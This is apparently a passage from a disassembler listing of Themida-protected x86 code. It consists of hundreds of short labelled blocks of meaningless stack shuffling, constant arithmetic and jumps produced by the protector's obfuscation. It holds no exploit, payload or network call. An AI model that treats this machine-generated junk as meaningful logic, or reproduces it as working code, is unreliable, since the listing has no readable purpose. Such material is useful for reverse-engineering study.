jmp loc_59C3F5
; ---------------------------------------------------------------------------
loc_595B9A: ; CODE XREF: Themida_:0059AC0Aj
mov cl, 6Bh
jmp loc_594E48
; ---------------------------------------------------------------------------
loc_595BA1: ; CODE XREF: Themida_:00591121j
and ecx, ebx
mov ebx, [esp]
add esp, 4
sub ecx, 62344B1Dh
push edx
push 234E5BD0h
pop edx
sub edx, 0F0B228Ch
shl edx, 2
neg edx
shl edx, 7
xor edx, 63AF7320h
add ecx, 582A5A1Eh
sub ecx, 11BF48E1h
jmp loc_59A174
; ---------------------------------------------------------------------------
loc_595BDB: ; CODE XREF: Themida_:005909A4j
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_594362
; ---------------------------------------------------------------------------
loc_595BE7: ; CODE XREF: Themida_:0059237Fj
xor eax, 52713CADh
add eax, 0EDDAF73Fh
jmp loc_59ED80
; ---------------------------------------------------------------------------
loc_595BF6: ; CODE XREF: Themida_:00592A29j
mov [esp], ebx
push 4DF1476Ch
mov ebx, [esp]
add esp, 4
push edi
sub esp, 4
mov [esp], esi
mov esi, 6FF91C8Dh
push edx
mov edx, esp
jmp loc_5A3E2B
; ---------------------------------------------------------------------------
loc_595C1B: ; CODE XREF: Themida_:0059F66Bj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov eax, [esp]
jmp loc_59414E
; ---------------------------------------------------------------------------
loc_595C3E: ; CODE XREF: Themida_:00594C8Aj
push eax
push 75AFh
mov [esp], edx
push 17062906h
pop edx
sub edx, 9898027Bh
mov eax, edx
pop edx
jmp loc_59765A
; ---------------------------------------------------------------------------
loc_595C5B: ; CODE XREF: Themida_:00593971j
mov esi, [esp]
add esp, 4
mov esi, eax
pop eax
sub esi, 39327552h
neg esi
xor esi, 0CC1D5289h
push esi
push esi
mov esi, 4B996947h
jmp loc_5939F3
; ---------------------------------------------------------------------------
loc_595C7E: ; CODE XREF: Themida_:00594480j
pop esi
jmp loc_5A203D
; ---------------------------------------------------------------------------
loc_595C84: ; CODE XREF: Themida_:0059E243j
mov eax, esp
sub esp, 4
mov [esp], ebp
jmp loc_59DD4D
; ---------------------------------------------------------------------------
loc_595C91: ; CODE XREF: Themida_:00599794j
push ebp
mov ebp, 5842C777h
xor esi, ebp
pop ebp
push esi
mov esi, 4F921A5Bh
add esi, 0F4DC5D35h
sub eax, esi
mov esi, [esp]
add esp, 4
sub eax, 37C6206Bh
jmp loc_59A10B
; ---------------------------------------------------------------------------
loc_595CBB: ; CODE XREF: Themida_:00596CA2j
sub ebp, 0C08918EBh
jmp loc_5949C0
; ---------------------------------------------------------------------------
loc_595CC6: ; CODE XREF: Themida_:005A53C4j
mov ebx, [esp]
add esp, 4
add esi, eax
mov eax, [esp]
jmp loc_5A558E
; ---------------------------------------------------------------------------
loc_595CD9: ; CODE XREF: Themida_:0059CE1Fj
xor ecx, edx
pop edx
sub esi, 2355053Ch
sub esi, ecx
add esi, 2355053Ch
pop ecx
add esi, eax
add esi, 26E80366h
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59B72C
; ---------------------------------------------------------------------------
loc_595D02: ; CODE XREF: Themida_:005A3B83j
pop edi
jmp loc_5A0F4B
; ---------------------------------------------------------------------------
loc_595D08: ; CODE XREF: Themida_:005A3C2Cj
pop ecx
add esp, 4
jmp loc_5A178F
; ---------------------------------------------------------------------------
loc_595D14: ; CODE XREF: Themida_:005A05A5j
xor ebx, 40DF4E8Ch
and ebp, ebx
pop ebx
sub ebp, 20910084h
and ecx, ebp
mov ebp, [esp]
push edx
push esp
jmp loc_59A588
; ---------------------------------------------------------------------------
loc_595D2F: ; CODE XREF: Themida_:00594903j
mov dl, 0FFh
add bl, dl
mov dx, [esp]
add esp, 2
push edx
mov dl, bl
push ebx
push eax
push ecx
mov ch, dl
mov al, ch
pop ecx
jmp loc_5978A9
; ---------------------------------------------------------------------------
loc_595D4A: ; CODE XREF: Themida_:0059C8FCj
shr ecx, 4
or ecx, 703C718Dh
jmp loc_59C38A
; ---------------------------------------------------------------------------
loc_595D58: ; CODE XREF: Themida_:00590C6Cj
xor edx, 618F780Eh
sub ebp, edx
jmp loc_59DA0F
; ---------------------------------------------------------------------------
loc_595D65: ; CODE XREF: Themida_:005940EDj
mov ebp, 2CA95617h
mov eax, ebp
pop ebp
neg eax
shl eax, 4
sub eax, 44FD3626h
shr eax, 8
push esi
mov esi, 3AEF5B2Bh
shr esi, 8
sub esi, 53EF955Ah
sub eax, esi
pop esi
xor [esp+4], eax
mov eax, [esp]
push ecx
jmp loc_5A3A65
; ---------------------------------------------------------------------------
loc_595D99: ; CODE XREF: Themida_:005A1DD3j
pop esp
push eax
sub esp, 4
mov [esp], esp
jmp loc_5998D6
; ---------------------------------------------------------------------------
loc_595DA6: ; CODE XREF: Themida_:00594EB1j
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_593705
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
push ebx
push ebp
push ebx
push 274E3BEFh
pop ebx
not ebx
add ebx, 17D304D7h
add ebx, 5CA94298h
mov ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, 4D2E0B7Bh
mov ebx, ebp
pop ebp
add esi, ebx
pop ebx
sub esp, 4
mov [esp], ebp
push 326A5B56h
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_59825B
; ---------------------------------------------------------------------------
loc_595E0D: ; CODE XREF: Themida_:0059958Bj
and ch, bl
pop ebx
shr ch, 8
xor ch, 0F6h
jmp loc_5996C6
; ---------------------------------------------------------------------------
loc_595E1B: ; CODE XREF: Themida_:005A3FB9j
add ah, 0E3h
xor ah, 0FDh
shl ah, 3
sub ah, 1Ch
sub esp, 4
mov [esp], ecx
jmp loc_595608
; ---------------------------------------------------------------------------
loc_595E32: ; CODE XREF: Themida_:0059C390j
not edi
jmp loc_59B990
; ---------------------------------------------------------------------------
loc_595E39: ; CODE XREF: Themida_:00596DEAj
pop ebp
push ecx
push ebx
jmp loc_59418F
; ---------------------------------------------------------------------------
loc_595E41: ; CODE XREF: Themida_:00599023j
sub [esp+4], ebp
jmp loc_59BC30
; ---------------------------------------------------------------------------
loc_595E4A: ; CODE XREF: Themida_:005A2861j
mov esi, ebp
pop ebp
or esi, 6F597FCAh
shl esi, 6
neg esi
push ebx
jmp loc_590AF0
; ---------------------------------------------------------------------------
loc_595E5E: ; CODE XREF: Themida_:00599748j
pop ebp
add ebx, 41A63633h
jmp loc_59D3BA
; ---------------------------------------------------------------------------
loc_595E6A: ; CODE XREF: Themida_:0059085Aj
push eax
push 33AA278Dh
mov eax, [esp]
add esp, 4
jmp loc_59656B
; ---------------------------------------------------------------------------
loc_595E7E: ; CODE XREF: Themida_:005A1282j
add eax, 7F9A7F40h
add edi, eax
pop eax
jmp loc_59A198
; ---------------------------------------------------------------------------
loc_595E8B: ; CODE XREF: Themida_:00596AB8j
pop ebx
add esp, 4
jmp loc_59C5B9
; ---------------------------------------------------------------------------
loc_595E94: ; CODE XREF: Themida_:005A1C79j
mov ebp, 2917278Ch
push edi
jmp loc_599F87
; ---------------------------------------------------------------------------
loc_595E9F: ; CODE XREF: Themida_:005A1DA4j
add esp, 4
mov edi, eax
jmp loc_59FE87
; ---------------------------------------------------------------------------
loc_595EAC: ; CODE XREF: Themida_:00593C67j
xchg edi, [esp]
pop esp
jmp loc_59595A
; ---------------------------------------------------------------------------
loc_595EB5: ; CODE XREF: Themida_:005945EFj
pop esp
shr eax, 0Ah
xor eax, ecx
jmp loc_595ED7
; ---------------------------------------------------------------------------
loc_595EC0: ; CODE XREF: Themida_:005A32C1j
push esi
mov esi, 515B2770h
sub esi, 2E4E6D03h
and esi, 0B3F5533h
jmp loc_59AAAE
; ---------------------------------------------------------------------------
loc_595ED7: ; CODE XREF: Themida_:00595EBBj
push eax
push esi
pop eax
jmp loc_59F211
; ---------------------------------------------------------------------------
loc_595EDF: ; CODE XREF: Themida_:00597355j
pop ebp
sub ebx, 34285062h
sub ebx, edx
jmp loc_5920CB
; ---------------------------------------------------------------------------
loc_595EED: ; CODE XREF: Themida_:00595098j
push esi
mov esi, 23C83D8Bh
push ecx
mov ecx, 78427289h
jmp loc_5A4FC3
; ---------------------------------------------------------------------------
loc_595EFE: ; CODE XREF: Themida_:005A226Ej
pop esi
shl eax, 6
sub eax, 247BA633h
xor ebp, eax
pop eax
jmp loc_59BF4E
; ---------------------------------------------------------------------------
loc_595F0F: ; CODE XREF: Themida_:0059D7B0j
pop ecx
sub ebp, 7BF47963h
sub ebp, 25FC25B0h
mov esi, [esp]
jmp loc_597439
; ---------------------------------------------------------------------------
loc_595F24: ; CODE XREF: Themida_:0059DA47j
mov [esp], ebp
mov ebp, offset dword_5F3EE0
push ebx
jmp loc_5A4DCC
; ---------------------------------------------------------------------------
loc_595F32: ; CODE XREF: Themida_:00593B5Bj
mov ebx, 3D660FC1h
add eax, ebx
pop ebx
pop edx
xor ebx, eax
push small word ptr [eax]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595F45: ; CODE XREF: Themida_:0059DEF8j
push ecx
push esi
jmp loc_592AC9
; ---------------------------------------------------------------------------
loc_595F4C: ; CODE XREF: Themida_:005A3A7Aj
push 2D41h
mov [esp], ebp
mov ebp, 630172BAh
push ecx
jmp loc_5A0E2D
; ---------------------------------------------------------------------------
loc_595F5F: ; CODE XREF: Themida_:005A3823j
mov ebx, 27722946h
or esi, ebx
jmp $+5
pop ebx
not esi
or esi, 626944CDh
add esi, 674F6F2Eh
sub edx, esi
pop esi
sub esp, 4
mov [esp], eax
mov eax, 0
sub eax, 404E6E30h
jmp loc_594003
; ---------------------------------------------------------------------------
loc_595F95: ; CODE XREF: Themida_:00595B14j
sub ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
mov ebx, ecx
pop ecx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595FA9: ; CODE XREF: Themida_:0059FA6Ej
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], eax
xor [esp], edx
jmp loc_59A1C0
; ---------------------------------------------------------------------------
loc_595FC0: ; CODE XREF: Themida_:00593629j
push ebp
mov ebp, esp
push ebx
push edi
push 3025384Fh
pop edi
not edi
jmp loc_591A56
; ---------------------------------------------------------------------------
loc_595FD2: ; CODE XREF: Themida_:0059C919j
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595FE0: ; CODE XREF: Themida_:005944D0j
push esi
push eax
push 261642FAh
pop eax
xchg eax, ecx
not ecx
jmp loc_5A2F4D
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], edx
jmp loc_599846
; ---------------------------------------------------------------------------
loc_595FFE: ; CODE XREF: Themida_:0059D16Bj
pop ebp
jmp loc_596211
; ---------------------------------------------------------------------------
loc_596004: ; CODE XREF: Themida_:00591A7Bj
mov eax, 0CC81D7DEh
add edx, eax
pop eax
push ecx
mov ecx, edx
jmp loc_59464D
; ---------------------------------------------------------------------------
loc_596014: ; CODE XREF: Themida_:005A333Dj
add edx, 4
xchg edx, [esp]
jmp loc_59AFD9
; ---------------------------------------------------------------------------
loc_596022: ; CODE XREF: Themida_:0059EF15j
mov ebp, 62853B5Ch
shl ebp, 2
xor ebp, 0B753FDA0h
push edx
jmp loc_5958EB
; ---------------------------------------------------------------------------
loc_596036: ; CODE XREF: Themida_:0059DD1Bj
sub al, dh
pop edx
mov bx, [esp]
push ebx
mov ebx, esp
push ebp
mov ebp, 24FC45A5h
push ebp
not dword ptr [esp]
jmp loc_59CDE7
; ---------------------------------------------------------------------------
loc_59604F: ; CODE XREF: Themida_:005A3EEFj
xor [esp], esi
xor esi, [esp]
pop esp
push edx
push esi
mov esi, 4
mov edx, esi
pop esi
sub esi, 4E4B28ADh
sub esi, 4C397AF8h
add esi, edx
add esi, 4C397AF8h
add esi, 4E4B28ADh
pop edx
jmp loc_594367
; ---------------------------------------------------------------------------
loc_596080: ; CODE XREF: Themida_:005A36F6j
add eax, 11ED67E8h
jmp loc_5985FD
; ---------------------------------------------------------------------------
loc_59608A: ; CODE XREF: Themida_:005A06EEj
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop ecx
jmp loc_59A6C1
; ---------------------------------------------------------------------------
loc_596098: ; CODE XREF: Themida_:0059157Fj
add cl, 0ECh
pop dx
push eax
push ebx
mov bl, 0
xor bl, 0D1h
mov al, bl
jmp loc_5A0726
; ---------------------------------------------------------------------------
loc_5960AB: ; CODE XREF: Themida_:0059F3CBj
mov [esp], ecx
mov cl, 0D7h
jmp loc_590C2A
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A4848
; ---------------------------------------------------------------------------
loc_5960BB: ; CODE XREF: Themida_:0059D3FFj
not ebp
xor ebp, 0B9B692Bh
sub ebp, 58C6116Ah
sub [edi+20h], ebp
jmp loc_597335
; ---------------------------------------------------------------------------
loc_5960D1: ; CODE XREF: Themida_:0059646Cj
or bx, 6AFFh
xor bx, 8029h
or ax, bx
pop ebx
add ax, 8EE0h
jmp loc_59117E
; ---------------------------------------------------------------------------
loc_5960E8: ; CODE XREF: Themida_:005947F8j
xchg ebx, [esp]
pop esp
jmp loc_5953D2
; ---------------------------------------------------------------------------
loc_5960F1: ; CODE XREF: Themida_:005A4DD1j
sub ebp, ebx
pop ebx
mov edx, ebp
jmp loc_59F7E2
; ---------------------------------------------------------------------------
loc_5960FB: ; CODE XREF: Themida_:00596F5Bj
add esp, 4
jmp loc_592220
; ---------------------------------------------------------------------------
loc_596103: ; CODE XREF: Themida_:0059CCCAj
mov bx, di
pop edi
pop edx
jmp loc_59F29F
; ---------------------------------------------------------------------------
loc_59610D: ; CODE XREF: Themida_:005A0225j
pop esi
add ebp, edx
pop edx
add edi, 6E010DD6h
add edi, ebp
jmp loc_59B62F
; ---------------------------------------------------------------------------
loc_59611E: ; CODE XREF: Themida_:005A39BAj
mov edx, 4
add ecx, edx
pop edx
sub esp, 4
mov [esp], esi
mov esi, 4
add ecx, 14703458h
jmp loc_5A1A11
; ---------------------------------------------------------------------------
loc_59613F: ; CODE XREF: Themida_:0059DA37j
mov ebx, edi
mov esi, ebx
pop ebx
mov edi, [esp]
add esp, 4
jmp loc_5A07D6
; ---------------------------------------------------------------------------
loc_59614F: ; CODE XREF: Themida_:0059729Fj
mov ebp, 63C03F27h
mov eax, ebp
pop ebp
jmp loc_5A2231
; ---------------------------------------------------------------------------
dd 0B05065B5h, 0ECED80F2h, 0FFA25CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_596169: ; CODE XREF: Themida_:005966ECj
add edx, 613F528Eh
push eax
push edi
mov edi, 6F0D28C5h
xor edi, 61686790h
push esi
mov esi, 3E5A60EDh
push ebp
mov ebp, 4CE334C2h
shl ebp, 2
shr ebp, 8
add ebp, 231250B6h
sub ebp, 0BD62A0EEh
jmp loc_591316
; ---------------------------------------------------------------------------
loc_59619F: ; CODE XREF: Themida_:0059EEA7j
mov esi, [esp]
add esp, 4
jmp loc_59E284
; ---------------------------------------------------------------------------
loc_5961AD: ; CODE XREF: Themida_:005A27C8j
push bx
mov bh, 0F3h
mov ch, bh
jmp loc_5A3695
; ---------------------------------------------------------------------------
loc_5961B8: ; CODE XREF: Themida_:00596CF7j
push eax
jmp loc_5A2300
; ---------------------------------------------------------------------------
loc_5961BE: ; CODE XREF: Themida_:005A2146j
xor ebp, 0E0143C7Dh
push esi
mov esi, 5A721C5Ah
shl esi, 5
or esi, 40DD5EFBh
neg esi
sub esi, 3EE8CE8Eh
sub eax, esi
pop esi
add eax, ebp
add eax, 72375177h
pop ebp
not eax
inc eax
inc eax
add eax, 65F30DD6h
jmp loc_593933
; ---------------------------------------------------------------------------
loc_5961F4: ; CODE XREF: Themida_:005A2D90j
mov edx, 669D47DAh
jmp loc_5A4C2E
; ---------------------------------------------------------------------------
loc_5961FE: ; CODE XREF: Themida_:00591BD5j
push ebp
mov ebp, 4
add esi, ebp
pop ebp
xchg esi, [esp]
pop esp
inc esi
jmp loc_59978D
; ---------------------------------------------------------------------------
loc_596211: ; CODE XREF: Themida_:00595FFFj
and ebx, edi
push dword ptr [esp]
pop edi
add esp, 4
shr ebx, 5
jmp loc_5993CB
; ---------------------------------------------------------------------------
loc_596225: ; CODE XREF: Themida_:005A13F1j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_59400A
; ---------------------------------------------------------------------------
loc_59623D: ; CODE XREF: Themida_:0059D4A4j
xor ebx, 2D2B5364h
add edi, ebx
pop ebx
xchg edi, [esp]
pop esp
push dword ptr [esp]
jmp loc_593722
; ---------------------------------------------------------------------------
loc_596252: ; CODE XREF: Themida_:00596F6Ej
sub esp, 4
mov [esp], edx
push 0FA9h
mov [esp], eax
push ebp
mov ebp, 2C2D1ABDh
mov eax, ebp
mov ebp, [esp]
add esp, 4
not eax
or eax, 243327E9h
inc eax
jmp loc_5A004E
; ---------------------------------------------------------------------------
loc_59627E: ; CODE XREF: Themida_:005A2D52j
sub esp, 4
mov [esp], esi
push 74A8h
jmp loc_59A5B0
; ---------------------------------------------------------------------------
loc_59628E: ; CODE XREF: Themida_:00593685j
xchg ebx, edx
inc edx
xor edx, 23AA293Ch
jmp loc_599A47
; ---------------------------------------------------------------------------
loc_59629C: ; CODE XREF: Themida_:005A0E47j
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_5A2F3B
; ---------------------------------------------------------------------------
loc_5962AA: ; CODE XREF: Themida_:005A02D5j
shl edx, 1
neg edx
shl edx, 4
xor edx, 0C15CFEFh
sub ebx, 649C2585h
sub ebx, edx
add ebx, 649C2585h
pop edx
push edx
jmp loc_597ED3
; ---------------------------------------------------------------------------
loc_5962CC: ; CODE XREF: Themida_:0059E2BDj
sub edx, ecx
jmp loc_59934C
; ---------------------------------------------------------------------------
loc_5962D3: ; CODE XREF: Themida_:0059ABBEj
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 0
sub ecx, 4AA727DCh
jmp loc_5A046D
; ---------------------------------------------------------------------------
loc_5962FB: ; CODE XREF: Themida_:00595881j
shl edi, 1
shl edi, 7
jmp loc_591419
; ---------------------------------------------------------------------------
loc_596305: ; CODE XREF: Themida_:00593F15j
add esi, 512F1EAh
and ecx, esi
jmp loc_59DFC3
; ---------------------------------------------------------------------------
loc_596312: ; CODE XREF: Themida_:00594991j
and ebp, 33F41B0Ah
jmp loc_59944D
; ---------------------------------------------------------------------------
loc_59631D: ; CODE XREF: Themida_:0059B08Ej
mov edi, ebp
jmp loc_59E668
; ---------------------------------------------------------------------------
loc_596324: ; CODE XREF: Themida_:0059E23Bj
mov ebp, 3C9F2327h
sub ebx, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
sub ebx, eax
push 291Ah
jmp loc_5A1E2F
; ---------------------------------------------------------------------------
loc_596346: ; CODE XREF: Themida_:00594B99j
mov edx, esp
push esi
mov esi, 6AEF4AA3h
not esi
sub esi, 3054172Ah
or esi, 7B1E02h
jmp loc_5A0A98
; ---------------------------------------------------------------------------
loc_596361: ; CODE XREF: Themida_:005964BCj
mov ebx, 2E49218Fh
sub ebx, esi
pop esi
inc ebx
push ecx
mov ecx, 8DA6FD9h
not ecx
sub ecx, 56CD513Dh
inc ecx
or ecx, 26FF676Ch
not ecx
push edx
mov edx, 3BEF1F4Fh
add edx, 0EFECF36h
xor ecx, edx
pop edx
xor ebx, ecx
mov ecx, [esp]
add esp, 4
sub eax, 28D2533Fh
sub eax, ebx
push ebp
mov ebp, 28D2533Fh
jmp loc_595008
; ---------------------------------------------------------------------------
loc_5963AD: ; CODE XREF: Themida_:00599675j
mov ecx, [esp]
add esp, 4
push 749Eh
mov [esp], ecx
jmp loc_59C77F
; ---------------------------------------------------------------------------
loc_5963C0: ; CODE XREF: Themida_:00599EFCj
pop esp
mov [esp], edx
mov edx, 36DD7D6Ah
jmp loc_593624
; ---------------------------------------------------------------------------
loc_5963CE: ; CODE XREF: Themida_:00591D26j
push edx
jmp loc_5A4E4D
; ---------------------------------------------------------------------------
loc_5963D4: ; CODE XREF: Themida_:00593BBBj
sub eax, ebp
pop ebp
jmp loc_59243D
; ---------------------------------------------------------------------------
loc_5963DC: ; CODE XREF: Themida_:00598BB6j
mov edi, 645E2E09h
sub edi, 0E87BA90Eh
add ebx, edi
pop edi
add edi, ebx
mov ebx, [esp]
add esp, 4
add edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push 0C89h
mov [esp], edi
mov edi, 0A7F3732h
jmp loc_597361
; ---------------------------------------------------------------------------
loc_596424: ; CODE XREF: Themida_:005919AAj
xchg dx, di
push small 22D4h
mov [esp], bp
mov bp, 6F40h
xor di, bp
mov bp, [esp]
add esp, 2
push eax
push small 0DC5h
mov ax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 2
xchg ebx, [esp]
pop esp
shr ax, 1
inc ax
and ax, 56B2h
push ebx
mov bx, 8BDh
add bx, 7CF2h
jmp loc_5960D1
; ---------------------------------------------------------------------------
loc_596471: ; CODE XREF: Themida_:005937A1j
push esi
push 64FEh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push eax
push edi
push 11676F2Ah
pop edi
xor edi, 0EE70E58h
add edi, 42FF1F11h
dec edi
push ebp
mov ebp, 42CD6D08h
sub ebp, 405613F7h
jmp loc_5A364C
; ---------------------------------------------------------------------------
loc_5964A8: ; CODE XREF: Themida_:005A23CCj
mov [esp], esi
mov esi, 2
sub eax, 4B88534Dh
push ebx
push esi
mov esi, 12B71D2Ah
jmp loc_596361
; ---------------------------------------------------------------------------
loc_5964C1: ; CODE XREF: Themida_:005A0673j
shl ebx, 3
shl ebx, 2
neg ebx
jmp loc_599DE0
; ---------------------------------------------------------------------------
loc_5964CE: ; CODE XREF: Themida_:005943AFj
xor edx, ebp
jmp loc_599438
; ---------------------------------------------------------------------------
loc_5964D5: ; CODE XREF: Themida_:0059DC01j
mov [esp], edi
push ebp
push 61D27B4Ch
jmp loc_5A384A
; ---------------------------------------------------------------------------
loc_5964E3: ; CODE XREF: Themida_:005A09F4j
add eax, 4
add eax, 4
push eax
jmp loc_59B017
; ---------------------------------------------------------------------------
loc_5964F1: ; CODE XREF: Themida_:00597928j
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_59C222
; ---------------------------------------------------------------------------
loc_596503: ; CODE XREF: Themida_:005A27AAj
add eax, ebp
pop ebp
jmp loc_5A392A
; ---------------------------------------------------------------------------
loc_59650B: ; CODE XREF: Themida_:0059924Bj
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_590A77
; ---------------------------------------------------------------------------
loc_596524: ; CODE XREF: Themida_:005A006Ej
sub ebp, 0BA1097F1h
sub ecx, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 0A313Ah
jmp loc_5A2A0C
; ---------------------------------------------------------------------------
loc_59653D: ; CODE XREF: Themida_:005A48DCj
pop esi
pop ebx
push 6D4Bh
jmp loc_59B3AD
; ---------------------------------------------------------------------------
loc_596549: ; CODE XREF: Themida_:00597434j
mov esi, 50931B69h
jmp loc_5A0D38
; ---------------------------------------------------------------------------
loc_596553: ; CODE XREF: Themida_:0059AD57j
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59655D: ; CODE XREF: Themida_:0059A95Cj
pop edi
sub ebp, 9AC6E8Ch
mov esi, ebp
jmp loc_59AF43
; ---------------------------------------------------------------------------
loc_59656B: ; CODE XREF: Themida_:00595E79j
mov ecx, 33AA278Fh
jmp loc_59BB4A
; ---------------------------------------------------------------------------
loc_596575: ; CODE XREF: Themida_:0059D4ABj
or ecx, 423762E6h
add ecx, 0C532FEDFh
sub ebp, ecx
mov ecx, [esp]
add esp, 4
add ebp, ecx
push ecx
mov ecx, 1BB45A4Ch
sub ecx, 0FFFFFFFFh
jmp loc_59778B
; ---------------------------------------------------------------------------
loc_596599: ; CODE XREF: Themida_:00594738j
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
jmp loc_5909DF
; ---------------------------------------------------------------------------
loc_5965A9: ; CODE XREF: Themida_:005A134Bj
pop edx
sub al, bl
jmp loc_5A3684
; ---------------------------------------------------------------------------
loc_5965B1: ; CODE XREF: Themida_:005A13E9j
pop ecx
mov ecx, ebx
jmp loc_59932B
; ---------------------------------------------------------------------------
loc_5965B9: ; CODE XREF: Themida_:00593695j
pop ebx
jmp loc_598914
; ---------------------------------------------------------------------------
loc_5965BF: ; CODE XREF: Themida_:0059718Dj
add esp, 4
add ebp, 619F7FF1h
add ebp, edi
sub esp, 4
mov [esp], edx
mov edx, 65313E32h
jmp loc_590C5F
; ---------------------------------------------------------------------------
loc_5965DA: ; CODE XREF: Themida_:005A29F8j
add dword ptr [esp], 4
pop ebp
push edx
mov edx, 4
add ebp, edx
pop edx
push ebx
push eax
jmp loc_5A564F
; ---------------------------------------------------------------------------
loc_5965EF: ; CODE XREF: Themida_:00593855j
neg ebx
xor ebx, 0B171380h
jmp loc_5A255D
; ---------------------------------------------------------------------------
loc_5965FC: ; CODE XREF: Themida_:00591F24j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A29E6
; ---------------------------------------------------------------------------
loc_59660B: ; CODE XREF: Themida_:0059A16Fj
add esp, 4
add [esp+4], eax
push dword ptr [esp]
pop eax
jmp loc_5A2089
; ---------------------------------------------------------------------------
loc_59661B: ; CODE XREF: Themida_:0059995Dj
mov edx, [esp]
push edi
jmp loc_5933C4
; ---------------------------------------------------------------------------
loc_596624: ; CODE XREF: Themida_:0059B0FBj
add edx, 5B291A9Eh
add edx, ebx
push ecx
mov ecx, 5B291A9Eh
jmp loc_591F55
; ---------------------------------------------------------------------------
loc_596637: ; CODE XREF: Themida_:0059EE7Bj
and [edi+1Ch], edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push ebx
mov ebx, esp
push eax
mov eax, 3A237E26h
jmp loc_59EDF2
; ---------------------------------------------------------------------------
loc_596651: ; CODE XREF: Themida_:00590585j
shr dl, 8
jmp loc_59AB5F
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5A0F8F
; ---------------------------------------------------------------------------
loc_596668: ; CODE XREF: Themida_:00594783j
push eax
push esp
pop eax
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
jmp loc_5A2FBC
; ---------------------------------------------------------------------------
loc_59667D: ; CODE XREF: Themida_:0059EA79j
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
push eax
mov eax, esp
jmp loc_593736
; ---------------------------------------------------------------------------
loc_59668F: ; CODE XREF: Themida_:0059ADEAj
and esi, 2FD83BCCh
jmp loc_5A25B9
; ---------------------------------------------------------------------------
loc_59669A: ; CODE XREF: Themida_:00594BDCj
mov ecx, 6D640C33h
mov esi, 996B609Ah
add esi, ecx
pop ecx
xor esi, 51772540h
or esi, 61F049CCh
push eax
mov eax, 2696F466h
sub esi, eax
pop eax
mov ebp, esi
mov esi, [esp]
add esp, 4
push eax
mov eax, esp
jmp loc_590791
; ---------------------------------------------------------------------------
loc_5966CC: ; CODE XREF: Themida_:00595058j
sub edx, 613F528Eh
add edx, 673857E4h
sub edx, 4CDF7C3Dh
add edx, eax
add edx, 4CDF7C3Dh
sub edx, 673857E4h
jmp loc_596169
; ---------------------------------------------------------------------------
loc_5966F1: ; CODE XREF: Themida_:005A0AF2j
add edx, 18341A89h
mov eax, edx
pop edx
inc eax
jmp loc_59460E
; ---------------------------------------------------------------------------
loc_596700: ; CODE XREF: Themida_:00598E79j
push ecx
jmp loc_5A2B74
; ---------------------------------------------------------------------------
loc_596706: ; CODE XREF: Themida_:0059A536j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_59F6C5
; ---------------------------------------------------------------------------
loc_596717: ; CODE XREF: Themida_:00597735j
push edx
mov edx, 75CC11D5h
push edx
not dword ptr [esp]
pop edx
jmp loc_59BC24
; ---------------------------------------------------------------------------
loc_596727: ; CODE XREF: Themida_:00597655j
mov [esp], bx
jmp loc_5973D7
; ---------------------------------------------------------------------------
loc_596730: ; CODE XREF: Themida_:00596C9Aj
mov [esp], esi
mov esi, 49564922h
sub edi, 51D502Dh
add edi, esi
jmp loc_5941EA
; ---------------------------------------------------------------------------
loc_596745: ; CODE XREF: Themida_:0059C107j
pop esp
xor ebp, 6F8607AFh
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 43CFD7D5h
jmp loc_59E6F0
; ---------------------------------------------------------------------------
loc_596765: ; CODE XREF: Themida_:005A480Aj
dec ecx
push eax
mov eax, 0A0579BDFh
add ecx, eax
pop eax
add eax, ecx
pop ecx
xchg eax, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_596782: ; CODE XREF: Themida_:0059F878j
push ebp
jmp loc_5A41A1
; ---------------------------------------------------------------------------
loc_596788: ; CODE XREF: Themida_:005A2A80j
mov [esp], ebx
jmp loc_593BDE
; ---------------------------------------------------------------------------
loc_596790: ; CODE XREF: Themida_:0059E72Dj
pop esp
jmp loc_599DD9
; ---------------------------------------------------------------------------
loc_596796: ; CODE XREF: Themida_:00590796j
